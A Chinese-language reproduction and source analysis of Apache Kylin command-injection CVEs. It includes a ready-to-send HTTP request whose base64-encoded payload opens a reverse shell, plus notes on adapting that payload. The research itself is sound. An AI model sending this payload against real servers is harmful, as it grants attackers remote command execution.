CVE-2021-45456 是由于系统直接将用户请求中的project传入并执行,导致命令执行。
CVE-2022-44621 是由于系统未过滤 jobId 参数,导致可能存在命令执行(说实话,jobID应该是不可控的)。
漏洞报告:
影响版本:
IP:
本机指Docker运行的环境实例;宿主机指运行Docker的主机。
版本:
直接采用官方 docker 镜像搭建环境,进行远程调试。
调试:
执行如下代码,修改 kylin.sh 的内容
sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart
启动:
执行如下命令即可启动 Kylin :
docker pull apachekylin/apache-kylin-standalone:4.0.0 docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0
具体看官方的docker安装文档 https://kylin.apache.org/cn/docs/install/kylin_docker.html
其中各端口功能如下:
登录 Kylin。账号:admin,密码:KYLIN
创建一个名称为 nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS8xMjM0NSAwPiYxCgbase64d 的项目
在宿主机使用 nc 监听 12345 端口
在Burpsuite-repeater模块发送如下请求包:
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
Host: 127.0.0.1:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
Upgrade-Insecure-Requests: 1
在宿主机 12345 端口即可收到 shell
注意:
上文中的 payload 为:
`nohup sh -c "$(echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjQ4LzEyMzQ1IDA+JjE=|base64 -d)" &`
使用 base64 的原因是,路径中出现斜杠,系统会报错;使用 nohup 的原因是防止系统可能卡死;
上文中项目名为 payload 中字母和数字的顺序组合。所以,反弹IP的不同,payload有所改变,需要攻击者自行调整payload。
源码:
从官方库下载 Kylin4.0.0 版本
断点:
Idea 打开后,在org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo
方法下断点:
调用栈
runNativeCommand:123, CliCommandExecutor (org.apache.kylin.common.util)
execute:91, CliCommandExecutor (org.apache.kylin.common.util)
execute:85, CliCommandExecutor (org.apache.kylin.common.util)
runDiagnosisCLI:129, DiagnosisService (org.apache.kylin.rest.service)
dumpProjectDiagnosisInfo:98, DiagnosisService (org.apache.kylin.rest.service)
dumpProjectDiagnosisInfo:82, DiagnosisController (org.apache.kylin.rest.controller)
···
···
tomcat调用栈忽略...
···
调试:
重放请求包:
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
Host: 127.0.0.1:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
Upgrade-Insecure-Requests: 1
成功捕获断点
参数 project 的值即为 payload,直接传递给了org.apache.kylin.rest.service.DiagnosisService#dumpProjectDiagnosisInfo
方法。
红框处的功能为为获取项目实例,并判断是否存在。分为两个步骤:
第一步,使用org.apache.kylin.rest.util.ValidateUtil#convertStringToBeAlphanumericUnderscore
方法将 project 参数值中非字母数字和下划线的字符串替换为空。其代码实现如下:
public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) {
return toBeConverted.replaceAll("[^a-zA-Z0-9_]", "");
}
第二步,根据处理后的project参数作为依据,获取项目实例,并判断项目实例是否存在。
而该CVE的问题正在于此,传递给 runDiagnosisCLI
方法的参数不是处理后的project参数,而是用户请求传递的原文,即图片中的 args 数组。
runDiagnosisCLI
方法将 args 数组拼接后直接传递并在后续代码中执行(不再追踪,自行调试)。
补丁:
修复方案:参数一致。
该漏洞在我的理解中,并没办法触发?
首先,触发该漏洞的api接口如下:
是一个下载job的功能,在 KYLIN 中对应的功能点如下图。
我们通过debug可知
如果 jobId 可控,那么攻击者可直接通过 http 请求植入恶意命令造成任意命令执行。
在这里我们要先说明一个事实,如果我们没办法在生成 job 时控制 jobId 的值(如CVE-2021-45456一样,新建 project 时指定了project name),那么我们无法进一步利用。这是因为kylin首先会根据 jobId 查询是否存在该 job,然后才去执行后续步骤。
但是在我跟踪jobId的生成方式后,我发现jobId完全就是写死的 uuid,无法控制。
所以QAQ,不知道如何利用。
补丁: